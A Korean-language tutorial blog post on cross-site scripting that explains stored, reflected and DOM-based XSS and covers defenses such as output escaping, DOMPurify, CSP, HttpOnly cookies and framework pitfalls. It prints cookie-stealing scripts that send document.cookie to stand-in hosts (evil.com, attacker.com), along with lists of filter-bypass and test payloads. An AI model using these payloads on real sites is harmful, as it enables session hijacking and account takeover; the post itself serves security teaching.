콘텐츠 대표 이미지 - XSS(Cross-Site Scripting) 취약점과 대응 전략
🔐 프로그램개발 · 보안

XSS(Cross-Site Scripting) 취약점과 대응 전략

웹 보안의 영원한 숙적, 제대로 파헤쳐보자 💻🛡️
🙋 야 근데 XSS가 뭐야? 그냥 스크립트 좀 넣는 거 아님?

ㄴㄴ 그게 얼마나 무서운 건지 알면 진짜 소름 돋을걸? 지금부터 제대로 파봄 👀

웹 개발하다 보면 한 번쯤은 들어봤을 이름, XSS(Cross-Site Scripting). 이름만 들으면 뭔가 복잡해 보이지만, 사실 원리는 생각보다 단순해서 더 무서운 녀석이에요. 😅

OWASP(Open Web Application Security Project)에서 매년 발표하는 웹 취약점 Top 10에 꾸준히 이름을 올리는 단골손님이기도 하고, 실제로 수많은 대형 서비스들이 이 취약점 때문에 털린 사례가 있을 정도로 현실적인 위협이에요.

오늘은 XSS가 뭔지, 어떤 종류가 있는지, 그리고 어떻게 막을 수 있는지까지 — 진짜 실무에서 쓸 수 있는 내용으로 싹 정리해드릴게요! 🔥

XSS 공격 흐름 한눈에 보기 😈 공격자 악성 스크립트 삽입 🖥️ 웹 서버/DB 오염된 페이지 응답 🙍 피해자 브라우저 쿠키/세션 탈취 💀 공격자 서버 ① 악성 스크립트 삽입 게시판, 댓글, 검색창 등 입력 필드에 스크립트 주입 ② 피해자 브라우저 실행 피해자가 해당 페이지 접속 시 스크립트가 자동으로 실행됨 ③ 정보 탈취 / 악용 쿠키, 세션, 개인정보 등 공격자 서버로 전송 ⚠️ 피해자는 아무것도 모른 채 공격당함 — 이게 XSS의 핵심 위험성! 서버가 아닌 클라이언트(브라우저)에서 실행되기 때문에 탐지가 어려움
🤔 XSS가 뭔데 이렇게 유명함?

XSS(Cross-Site Scripting)는 공격자가 웹 페이지에 악성 클라이언트 사이드 스크립트를 삽입하는 공격 기법이에요. 이름에 CSS랑 헷갈릴까봐 XSS라고 부르는 거고요 ㅋㅋㅋ (진짜임).

핵심 원리는 이거예요: 웹 애플리케이션이 사용자 입력값을 충분히 검증하지 않고 그대로 HTML에 출력할 때 발생해요. 공격자가 입력 필드에 JavaScript 코드를 넣으면, 그게 다른 사용자의 브라우저에서 실행되는 거죠.

💡 XSS의 핵심 포인트
서버가 해킹당하는 게 아니라, 피해자의 브라우저에서 악성 코드가 실행돼요.
그래서 서버 로그만 봐서는 공격 여부를 파악하기 어렵고, 피해자 본인도 모르는 경우가 대부분이에요.

실제로 어떤 피해가 생기냐고요? 🤔

🎯 XSS로 할 수 있는 것들 (공격자 입장)

쿠키/세션 탈취 키로깅 피싱 페이지 삽입 악성코드 배포 CSRF 공격 연계 화면 캡처 웹캠 접근 시도 가상화폐 채굴

특히 세션 쿠키 탈취는 가장 흔하고 치명적인 공격이에요. 탈취한 쿠키로 피해자인 척 로그인하면 — 비밀번호 없이도 계정 장악이 가능하거든요. 😱

⚠️ 역대 유명한 XSS 사고들
- MySpace Samy Worm (2005): 단 하루 만에 100만 명 이상 감염된 역대급 XSS 웜
- Twitter (2010): onMouseOver 이벤트 기반 XSS로 수십만 건 트윗 자동 전파
- British Airways (2018): XSS 연계 공격으로 50만 명 결제 정보 유출
- Yahoo Mail (2013): 이메일 열람만으로 계정 탈취 가능한 XSS 발견

📂 XSS의 3가지 종류, 다 달라요

XSS는 크게 세 가지 유형으로 나뉘어요. 각각 동작 방식이 다르고, 위험도도 조금씩 달라요. 하나씩 뜯어볼게요! 🔍

XSS 3가지 유형 비교 저장형 XSS Stored XSS 위험도 ★★★★★ 악성 스크립트가 DB에 저장됨 페이지 방문자 전원에게 실행 📌 게시판 댓글, 프로필에 스크립트 저장 후 모든 방문자에게 자동 실행 가장 지속적이고 광범위한 피해 한 번 심으면 계속 작동 삭제 전까지 무한 반복 반사형 XSS Reflected XSS 위험도 ★★★★☆ URL 파라미터에 스크립트 삽입 서버가 그대로 응답에 반영 📌 악성 링크를 피해자에게 클릭하게 유도하는 방식 피싱 메일에 자주 활용됨 DB에 저장 안 됨 (일회성) 링크 클릭 시에만 발동 가장 흔한 유형 DOM 기반 XSS DOM-based XSS 위험도 ★★★★☆ 서버 개입 없이 클라이언트에서 DOM 조작으로 발생 📌 JavaScript가 URL 해시나 파라미터를 innerHTML 등에 직접 삽입할 때 발생 서버 로그에 안 잡힘 WAF 우회 가능성 높음 탐지가 가장 어려운 유형
① 저장형 XSS (Stored XSS) — 가장 위험한 놈 😤

공격자가 악성 스크립트를 서버의 데이터베이스에 저장시키는 방식이에요. 게시판 댓글, 사용자 프로필, 방명록 같은 곳에 스크립트를 입력하면, 그 페이지를 방문하는 모든 사용자에게 스크립트가 실행돼요.

🚨 저장형 XSS 예시 코드
공격자가 댓글창에 이런 걸 입력한다고 가정해봐요:
<script>
  document.location='https://evil.com/steal?cookie='+document.cookie;
</script>
서버가 이걸 그대로 저장하고 출력하면? 댓글을 보는 모든 사람의 쿠키가 공격자 서버로 날아가요. 💀
② 반사형 XSS (Reflected XSS) — 가장 흔한 놈 🪃

악성 스크립트가 URL 파라미터에 포함되어 서버로 전송되고, 서버가 이를 검증 없이 응답에 그대로 반영(reflect)하는 방식이에요. DB에 저장되지 않아서 일회성이지만, 피싱 메일이나 악성 링크와 결합하면 충분히 위험해요.

🚨 반사형 XSS 예시
검색 기능이 있는 사이트에서 검색어를 그대로 출력한다면:
https://example.com/search?q=<script>alert(document.cookie)</script>
서버가 q 파라미터를 그대로 HTML에 출력하면 스크립트가 실행돼요.
공격자는 이 URL을 피해자에게 보내서 클릭을 유도하죠.
③ DOM 기반 XSS (DOM-based XSS) — 가장 교활한 놈 🕵️

서버가 전혀 개입하지 않고, 클라이언트 사이드 JavaScript 코드가 DOM을 조작하는 과정에서 발생해요. 서버 로그에 흔적이 남지 않아서 탐지가 매우 어렵고, WAF(웹 방화벽)도 우회할 수 있어요.

🚨 DOM 기반 XSS 예시
JavaScript 코드가 URL의 해시값을 그대로 innerHTML에 삽입한다면:
// 취약한 코드
document.getElementById('output').innerHTML = location.hash.slice(1);

// 공격 URL
https://example.com/page#<img src=x onerror=alert(1)>
서버는 아무것도 모르는데 브라우저에서 스크립트가 실행돼요. 진짜 무서운 거 ㄹㅇ 😰

🔬 XSS 공격 기법 더 깊이 파보기

기본 원리는 알겠는데, 실제 공격자들은 어떤 방식으로 필터를 우회하고 공격하는지 알아야 제대로 방어할 수 있어요. 방어하려면 공격자 마인드로 생각해야 한다는 거 아시죠? 😏

🎭 이벤트 핸들러 기반 XSS

script 태그가 필터링되더라도 HTML 이벤트 핸들러를 이용하면 우회가 가능해요:

<!-- script 태그 없이도 실행 가능 -->
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onpageshow="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<a href="javascript:alert('XSS')">클릭</a>
<div onmouseover="alert('XSS')">마우스 올려봐</div>
🎨 인코딩 우회 기법

필터가 특정 문자열을 막아도, 인코딩을 이용해 우회할 수 있어요:

<!-- HTML 엔티티 인코딩 -->
<img src=x onerror="alert(1)">

<!-- URL 인코딩 -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E

<!-- Unicode 인코딩 -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

<!-- Base64 + data URI -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
🔤 대소문자 혼용 및 공백 삽입
<!-- 대소문자 혼용 -->
<ScRiPt>alert(1)</sCrIpT>

<!-- 태그 내 공백/탭 삽입 -->
<img   src = "x"   onerror = "alert(1)">

<!-- 주석 삽입 -->
<scr/**/ipt>alert(1)</scr/**/ipt>

<!-- 널 바이트 삽입 -->
<scr\x00ipt>alert(1)</scr\x00ipt>
⚠️ 이게 왜 중요하냐면요
단순히 "script" 문자열만 필터링하는 블랙리스트 방식은 이런 우회 기법에 완전히 무력화돼요.
그래서 화이트리스트 기반 검증컨텍스트 인식 이스케이핑이 필수인 거예요!
🍪 쿠키 탈취 실제 시나리오

저장형 XSS로 쿠키를 탈취하는 전형적인 시나리오를 보면 이해가 쉬워요:

<!-- 공격자가 게시판에 입력하는 내용 -->
<script>
  var img = new Image();
  img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>

<!-- 더 정교한 버전: 비동기 요청 -->
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      url: window.location.href,
      userAgent: navigator.userAgent
    })
  });
</script>

🛡️ XSS 대응 전략 — 이게 진짜 핵심!

자, 이제 가장 중요한 파트예요! 공격을 알았으니 막는 법을 알아야죠. XSS 방어는 단일 방법으로는 절대 완벽하지 않아요. 여러 레이어의 방어를 겹쳐서 적용하는 게 정석이에요. 🏰

XSS 방어 다층 구조 (Defense in Depth) 핵심 자산 보호 대상 출력 이스케이핑 입력값 검증 및 새니타이징 CSP (콘텐츠 보안 정책) HttpOnly / SameSite 쿠키 1단계: 출력 이스케이핑 HTML 특수문자 변환 2단계: 입력값 검증 화이트리스트 기반 필터 3단계: CSP 헤더 스크립트 실행 제한 4단계: 쿠키 보안 HttpOnly / SameSite 5단계: WAF 웹 방화벽으로 알려진 패턴 차단 6단계: 보안 라이브러리 DOMPurify 등 검증된 도구 활용 7단계: 정기 보안 감사 취약점 스캔 및 침투 테스트
✅ 전략 1: 출력 이스케이핑 (Output Encoding) — 가장 기본!

XSS 방어의 가장 핵심적인 방법이에요. 사용자 입력값을 HTML에 출력할 때 특수문자를 HTML 엔티티로 변환하는 거예요. 이렇게 하면 브라우저가 스크립트로 해석하지 않고 그냥 텍스트로 표시해요.

HTML 이스케이핑 변환 규칙
원본 문자변환 후 (HTML 엔티티)이유
&&amp;엔티티 시작 문자
<&lt;태그 시작 문자
>&gt;태그 종료 문자
"&quot;속성값 구분자
'&#x27;속성값 구분자
/&#x2F;태그 종료 보조
언어별 이스케이핑 방법

// JavaScript (Node.js)
const escapeHtml = (str) => str
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#x27;');

// Python
import html
safe_output = html.escape(user_input)

// Java
import org.apache.commons.text.StringEscapeUtils;
String safe = StringEscapeUtils.escapeHtml4(userInput);

// PHP
$safe = htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');

// React (자동 이스케이핑)
// JSX에서 {variable} 사용 시 자동으로 이스케이핑됨
// 단, dangerouslySetInnerHTML 사용 시 주의!
✅ 전략 2: 입력값 검증 및 새니타이징

입력 단계에서부터 악성 코드를 걸러내는 방법이에요. 단, 블랙리스트 방식은 우회 가능성이 높으니 화이트리스트 방식을 권장해요!

// ❌ 나쁜 예: 블랙리스트 방식 (우회 가능)
function badFilter(input) {
  return input.replace(/<script>/gi, '');
  // <ScRiPt> 이런 거로 우회 가능!
}

// ✅ 좋은 예: DOMPurify 라이브러리 사용
import DOMPurify from 'dompurify';

// HTML 콘텐츠를 허용해야 할 때 (예: 리치 텍스트 에디터)
const clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title']
});

// 순수 텍스트만 허용할 때
const textOnly = DOMPurify.sanitize(input, {ALLOWED_TAGS: []});

// ✅ 좋은 예: 정규식 화이트리스트 (전화번호 입력)
function validatePhone(input) {
  return /^[0-9\-\+\(\)\s]{7,20}$/.test(input);
}
✅ 전략 3: Content Security Policy (CSP) — 강력한 방어막!

CSP는 HTTP 헤더를 통해 브라우저에게 "이 사이트에서는 어떤 스크립트만 실행 가능해"라고 알려주는 정책이에요. XSS 공격이 성공하더라도 스크립트 실행 자체를 막을 수 있어요. 진짜 강력한 방어 수단이에요! 💪

# 서버 응답 헤더에 추가 (예: Nginx)
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' 'nonce-{랜덤값}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self';
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
";

# Node.js Express에서 helmet 사용
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
    objectSrc: ["'none'"],
    upgradeInsecureRequests: [],
  },
}));
💡 CSP nonce 방식이란?
매 요청마다 서버가 랜덤한 nonce 값을 생성하고, 허용된 script 태그에만 이 값을 부여해요.
공격자가 삽입한 스크립트는 nonce가 없으니 실행이 차단돼요. 현재 가장 권장되는 CSP 방식이에요!
✅ 전략 4: HttpOnly & SameSite 쿠키 설정

XSS 공격의 주요 목적 중 하나가 쿠키 탈취인데, 쿠키 설정만 잘 해도 피해를 크게 줄일 수 있어요!

# HttpOnly: JavaScript에서 쿠키 접근 불가
# Secure: HTTPS에서만 전송
# SameSite: CSRF 방지 + XSS 연계 공격 방지

# 서버 응답 헤더
Set-Cookie: sessionId=abc123; 
            HttpOnly; 
            Secure; 
            SameSite=Strict; 
            Path=/; 
            Max-Age=3600

# Node.js Express
res.cookie('sessionId', token, {
  httpOnly: true,    // JS에서 document.cookie로 접근 불가
  secure: true,      // HTTPS만
  sameSite: 'strict', // 크로스 사이트 요청에 쿠키 미포함
  maxAge: 3600000
});

# Python Django
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Strict'
HttpOnly 쿠키의 효과
document.cookie로 쿠키를 읽을 수 없게 되어, XSS로 쿠키를 탈취하는 공격이 원천 차단돼요.
단, 쿠키 자체는 여전히 HTTP 요청에 포함되므로 CSRF 공격과는 별개로 방어해야 해요.
✅ 전략 5: 프레임워크의 자동 이스케이핑 활용

현대 프론트엔드 프레임워크들은 기본적으로 XSS 방어 기능을 내장하고 있어요. 이걸 제대로 활용하는 것도 중요해요!

// ✅ React: JSX는 기본적으로 이스케이핑
const SafeComponent = ({ userInput }) => (
  <div>{userInput}</div>  // 자동 이스케이핑
);

// ❌ React: dangerouslySetInnerHTML은 위험!
const DangerousComponent = ({ html }) => (
  <div dangerouslySetInnerHTML={{ __html: html }} />  // XSS 위험!
);
// 꼭 써야 한다면 DOMPurify로 새니타이징 후 사용

// ✅ Vue.js: {{ }} 보간은 자동 이스케이핑
<template>
  <div>{{ userInput }}</div>  <!-- 안전 -->
  <div v-html="userInput"></div>  <!-- 위험! -->
</template>

// ✅ Angular: 기본 바인딩은 안전
<div>{{ userInput }}</div>  <!-- 안전 -->
<div [innerHTML]="userInput"></div>  <!-- DomSanitizer 필요 -->
✅ 전략 6: 보안 라이브러리 및 도구 활용
도구/라이브러리용도언어/환경
DOMPurifyHTML 새니타이징JavaScript
OWASP Java HTML SanitizerHTML 새니타이징Java
BleachHTML 새니타이징Python
HtmlSanitizerHTML 새니타이징.NET
helmet.js보안 헤더 설정Node.js
OWASP ZAP취약점 스캐너범용
Burp Suite침투 테스트범용

🎯 컨텍스트별 방어 전략 — 상황마다 달라요!

XSS 방어에서 가장 많이 실수하는 부분이 바로 이거예요. 어디에 출력하느냐에 따라 이스케이핑 방법이 달라져요! 같은 데이터라도 HTML 본문에 넣을 때, 속성값에 넣을 때, JavaScript에 넣을 때 각각 다른 처리가 필요해요.

// 1. HTML 본문 컨텍스트
// <, >, &, ", ' 이스케이핑
<div>{htmlEscape(userInput)}</div>

// 2. HTML 속성 컨텍스트
// 반드시 따옴표로 감싸고 속성 이스케이핑
<input value="{htmlAttrEscape(userInput)}">

// 3. JavaScript 컨텍스트
// JSON.stringify 또는 JS 이스케이핑
<script>
  var data = {JSON.stringify(userInput)};
</script>

// 4. URL 컨텍스트
// URL 인코딩 + 프로토콜 검증
<a href="{validateAndEncodeUrl(userInput)}">링크</a>
// javascript: 프로토콜 반드시 차단!

// 5. CSS 컨텍스트 (가능하면 피하기)
// CSS 이스케이핑 필요
<div style="color: {cssEscape(userInput)}"></div>
🚨 URL 컨텍스트 특별 주의!
href나 src 속성에 사용자 입력을 넣을 때는 반드시 javascript: 프로토콜을 차단해야 해요.
// ❌ 위험
<a href="javascript:alert('XSS')">클릭</a>

// ✅ 안전: 프로토콜 화이트리스트 검증
function safeUrl(url) {
  const allowed = ['http:', 'https:', 'mailto:'];
  try {
    const parsed = new URL(url);
    return allowed.includes(parsed.protocol) ? url : '#';
  } catch {
    return '#';
  }
}

📋 실무 XSS 방어 체크리스트

재능넷 같은 플랫폼처럼 사용자 생성 콘텐츠(UGC)를 다루는 서비스라면 이 체크리스트를 꼭 확인해봐야 해요! 🔍

XSS 방어 실무 체크리스트 ✅ 🔧 개발 단계 체크 모든 출력에 컨텍스트 맞는 이스케이핑 HTML/JS/URL/CSS 컨텍스트 구분 적용 innerHTML / dangerouslySetInnerHTML 금지 꼭 필요하면 DOMPurify 새니타이징 후 사용 URL 파라미터 검증 및 인코딩 javascript: 프로토콜 차단 필수 eval() / document.write() 사용 금지 동적 코드 실행 함수 사용 자제 화이트리스트 기반 입력 검증 허용할 문자/형식만 명시적으로 정의 리치 텍스트 에디터 보안 설정 허용 태그/속성 화이트리스트 설정 파일 업로드 확장자/MIME 타입 검증 SVG 파일 업로드 시 특히 주의 ⚙️ 서버/인프라 단계 체크 CSP 헤더 설정 nonce 기반 CSP 적용 권장 X-XSS-Protection 헤더 설정 구형 브라우저 XSS 필터 활성화 HttpOnly + Secure 쿠키 설정 세션 쿠키 JS 접근 차단 WAF (웹 방화벽) 적용 알려진 XSS 패턴 자동 차단 HTTPS 강제 적용 HSTS 헤더로 HTTP 다운그레이드 방지 정기적 취약점 스캔 OWASP ZAP, Burp Suite 활용 보안 코드 리뷰 프로세스 배포 전 보안 취약점 검토 필수
🔒 보안 헤더 종합 설정 예시
# Nginx 보안 헤더 종합 설정
server {
    # XSS 방어 관련 헤더들
    add_header X-XSS-Protection "1; mode=block" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    
    # CSP 헤더 (nonce 방식)
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' 'nonce-$request_id';
        style-src 'self' 'unsafe-inline';
        img-src 'self' data: https:;
        font-src 'self' https://fonts.gstatic.com;
        connect-src 'self';
        object-src 'none';
        base-uri 'self';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # HSTS (HTTPS 강제)
    add_header Strict-Transport-Security 
        "max-age=31536000; includeSubDomains; preload" always;
}

🕵️ DOM 기반 XSS 방어 심화

DOM 기반 XSS는 서버 측 방어만으로는 막을 수 없어요. 클라이언트 사이드 코드를 직접 안전하게 작성해야 해요. 특히 SPA(Single Page Application) 개발자라면 필수로 알아야 해요! 📱

⚠️ 위험한 DOM API들
🚨 이 API들 쓸 때 무조건 주의!
// ❌ 위험한 DOM API들
element.innerHTML = userInput;          // HTML 파싱 → XSS
element.outerHTML = userInput;          // HTML 파싱 → XSS
document.write(userInput);              // HTML 파싱 → XSS
document.writeln(userInput);            // HTML 파싱 → XSS
element.insertAdjacentHTML('...', userInput); // HTML 파싱 → XSS

// URL 관련
location.href = userInput;              // javascript: 프로토콜 위험
location.replace(userInput);           // javascript: 프로토콜 위험

// 동적 코드 실행
eval(userInput);                        // 직접 코드 실행
setTimeout(userInput, 0);              // 문자열이면 eval과 동일
setInterval(userInput, 0);             // 문자열이면 eval과 동일
new Function(userInput)();             // 동적 함수 생성
안전한 대안들
// ✅ 안전한 DOM API들
element.textContent = userInput;        // 텍스트로만 처리
element.innerText = userInput;          // 텍스트로만 처리

// 속성 설정
element.setAttribute('class', userInput); // 속성 이스케이핑
element.className = userInput;

// 요소 생성
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);

// URL 처리
const url = new URL(userInput);
if (['http:', 'https:'].includes(url.protocol)) {
  location.href = url.toString();
}

// HTML이 꼭 필요하다면
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
🔍 Trusted Types API (최신 방어 기법)

Chrome 83+부터 지원하는 Trusted Types는 DOM XSS를 근본적으로 차단하는 최신 브라우저 API예요. innerHTML 같은 위험한 API에 일반 문자열을 넣으면 에러가 발생하고, 반드시 검증된 Trusted Type 객체만 허용해요.

// Trusted Types 정책 생성
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (input) => DOMPurify.sanitize(input),
  createScriptURL: (input) => {
    const url = new URL(input);
    if (url.origin === location.origin) return input;
    throw new Error('허용되지 않은 URL');
  }
});

// 안전하게 사용
element.innerHTML = policy.createHTML(userInput);

// CSP에서 Trusted Types 강제
Content-Security-Policy: require-trusted-types-for 'script';

🔍 XSS 취약점 테스트 방법

방어를 잘 했는지 확인하려면 직접 테스트해봐야죠! 개발 환경에서 이런 방법들로 취약점을 미리 찾아낼 수 있어요. 물론 본인 서비스에서만 해야 해요 ㅋㅋㅋ 남의 서비스에서 하면 범죄예요! ⚠️

🧪 기본 XSS 테스트 페이로드
<!-- 기본 테스트 페이로드들 -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')

<!-- 필터 우회 테스트 -->
<ScRiPt>alert('XSS')</ScRiPt>
<script >alert('XSS')</script>
<img src="x" onerror="alert(1)">
<iframe src="javascript:alert('XSS')"></iframe>

<!-- DOM XSS 테스트 -->
#<img src=x onerror=alert(1)>
?param=<script>alert(1)</script>
🛠️ 자동화 도구 활용
도구특징사용 방법
OWASP ZAP무료, 오픈소스, 자동 스캔GUI/CLI 모두 지원
Burp Suite전문가용, 강력한 기능프록시 기반 분석
XSStrikeXSS 특화 스캐너Python 기반 CLI
Dalfox빠른 XSS 스캐너Go 기반 CLI
Semgrep정적 코드 분석CI/CD 통합 가능
💡 CI/CD 파이프라인에 보안 테스트 통합하기
Semgrep이나 SonarQube 같은 SAST(정적 분석) 도구를 GitHub Actions나 Jenkins에 통합하면,
코드 커밋 시마다 자동으로 XSS 취약 패턴을 검사할 수 있어요. 개발 초기에 잡는 게 훨씬 저렴하거든요! 💰

📰 실제 XSS 사례 분석 — 이래서 무섭다고!
🐛 Samy Worm (2005) — 역대 최대 XSS 웜

MySpace에서 발생한 역사상 가장 유명한 XSS 공격이에요. Samy Kamkar라는 개발자가 만든 이 웜은 단 20시간 만에 100만 명 이상의 MySpace 계정을 감염시켰어요.

공격 원리:
① 공격자가 자신의 MySpace 프로필에 XSS 페이로드 삽입
② 다른 사용자가 프로필 방문 시 스크립트 실행
③ 방문자의 프로필에도 동일한 스크립트 자동 삽입 (자기 복제)
④ 방문자의 친구 목록에 공격자를 자동으로 추가
⑤ 기하급수적으로 전파 → 20시간 만에 100만 감염

결과: MySpace 서비스 일시 중단, Samy는 컴퓨터 사용 금지 처분 받음
🐦 Twitter XSS 웜 (2010)
공격 방식:
트위터의 onMouseOver 이벤트 처리 취약점을 이용해, 마우스를 트윗 위에 올리기만 해도 스크립트가 실행되어 자동으로 리트윗되는 웜이 퍼졌어요.

영향: 수십만 건의 트윗이 자동 전파, 일부는 팝업 광고나 포르노 사이트로 리다이렉트

교훈: 이벤트 핸들러 기반 XSS는 script 태그 필터링만으로는 막을 수 없다는 것을 보여줌
✈️ British Airways 데이터 유출 (2018)
공격 방식:
Magecart 그룹이 British Airways 웹사이트에 XSS 기반 스크립트를 삽입해 결제 페이지에서 카드 정보를 실시간으로 탈취했어요.

피해: 약 50만 명의 고객 결제 정보 유출 (카드번호, 이름, 주소, 이메일 등)

결과: GDPR 위반으로 약 2,000억 원(1.83억 파운드) 과징금 부과

교훈: 서드파티 스크립트 관리와 CSP의 중요성
⚠️ 서드파티 스크립트의 위험성
광고, 분석 도구, 챗봇 등 외부 스크립트를 삽입할 때도 XSS 위험이 있어요.
Subresource Integrity(SRI)를 사용해 스크립트 무결성을 검증하고,
CSP로 허용된 도메인의 스크립트만 실행되도록 제한하는 게 중요해요!
<!-- SRI 해시로 스크립트 무결성 검증 -->
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

⚛️ 프레임워크별 XSS 주의사항

요즘 대부분 React, Vue, Angular 같은 프레임워크 쓰잖아요? 이 친구들이 기본적으로 XSS를 막아주긴 하는데, 함정이 있어요! 방심하면 안 돼요 😤

⚛️ React 주의사항
// ✅ 안전: JSX 자동 이스케이핑
const Component = ({ name }) => <div>{name}</div>;

// ❌ 위험: dangerouslySetInnerHTML
const Dangerous = ({ html }) => (
  <div dangerouslySetInnerHTML={{ __html: html }} />
);

// ✅ 안전하게 dangerouslySetInnerHTML 쓰는 법
import DOMPurify from 'dompurify';
const Safe = ({ html }) => (
  <div dangerouslySetInnerHTML={{ 
    __html: DOMPurify.sanitize(html) 
  }} />
);

// ❌ 위험: href에 사용자 입력 직접 사용
const Link = ({ url }) => <a href={url}>링크</a>;
// javascript:alert(1) 같은 값이 들어올 수 있음!

// ✅ 안전: URL 검증 후 사용
const SafeLink = ({ url }) => {
  const safeUrl = /^https?:\/\//.test(url) ? url : '#';
  return <a href={safeUrl}>링크</a>;
};
💚 Vue.js 주의사항
<!-- ✅ 안전: 텍스트 보간 -->
<template>
  <div>{{ userInput }}</div>
</template>

<!-- ❌ 위험: v-html 디렉티브 -->
<template>
  <div v-html="userInput"></div>
</template>

<!-- ✅ v-html 안전하게 사용 -->
<template>
  <div v-html="sanitizedInput"></div>
</template>

<script>
import DOMPurify from 'dompurify';
export default {
  computed: {
    sanitizedInput() {
      return DOMPurify.sanitize(this.userInput);
    }
  }
}
</script>
🔴 Angular 주의사항
<!-- ✅ 안전: 기본 바인딩 -->
<div>{{ userInput }}</div>
<div [textContent]="userInput"></div>

<!-- ⚠️ 주의: innerHTML 바인딩 -->
<div [innerHTML]="userInput"></div>
<!-- Angular의 DomSanitizer가 자동으로 새니타이징하지만 -->
<!-- bypassSecurityTrustHtml 사용 시 위험! -->

// ❌ 절대 금지
import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
// 이거 쓰면 Angular 보안 우회됨
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);

🎓 마무리 — XSS 방어의 핵심 원칙
😅 와 이거 다 알아야 해? 너무 많은 거 아님?

ㅋㅋㅋ 처음엔 많아 보여도 결국 핵심은 몇 가지야. 이것만 기억해!

XSS 방어의 핵심을 한 줄로 요약하면: "신뢰하지 말고, 검증하고, 이스케이핑하라"예요. 🔐

사용자 입력은 절대 신뢰하지 말고, 모든 출력은 컨텍스트에 맞게 이스케이핑하고, CSP로 마지막 방어선을 구축하는 것이 XSS 방어의 3대 원칙이에요.

🏆 XSS 방어 핵심 원칙 5가지

1
출력 이스케이핑 우선 — 입력 검증보다 출력 이스케이핑이 더 중요해요. 어디서 들어오든 출력할 때 반드시 이스케이핑!
2
컨텍스트 인식 — HTML, JS, URL, CSS 각 컨텍스트마다 다른 이스케이핑 방법을 적용해야 해요.
3
화이트리스트 원칙 — 블랙리스트(막을 것 목록)보다 화이트리스트(허용할 것 목록)가 훨씬 안전해요.
4
심층 방어 — 단일 방어에 의존하지 말고, 이스케이핑 + CSP + HttpOnly 쿠키 등 여러 레이어를 겹쳐요.
5
지속적 테스트 — 배포 전 보안 테스트를 CI/CD에 통합하고, 정기적으로 취약점 스캔을 실시해요.

웹 보안은 한 번 설정하고 끝나는 게 아니에요. 새로운 공격 기법이 계속 나오고, 프레임워크도 업데이트되니까 꾸준히 공부하고 업데이트해야 해요. 재능넷에서도 보안 관련 전문가들의 재능을 활용해서 주기적인 보안 감사를 받아보는 것도 좋은 방법이에요! 🛡️

XSS 하나만 제대로 막아도 웹 보안의 절반은 해결한 거라고 해도 과언이 아닐 정도로 중요한 취약점이에요. 오늘 배운 내용을 실제 프로젝트에 적용해보세요! 💪

🔗 더 공부하고 싶다면?
- OWASP XSS Prevention Cheat Sheet: 가장 권위 있는 XSS 방어 가이드
- PortSwigger Web Security Academy: 무료 XSS 실습 환경 제공
- Google XSS Game: 게임 형식으로 XSS 학습
- OWASP WebGoat: 의도적으로 취약하게 만든 실습용 앱
댓글 작성

이 글에 대한 여러분의 생각을 들려주세요

댓글 0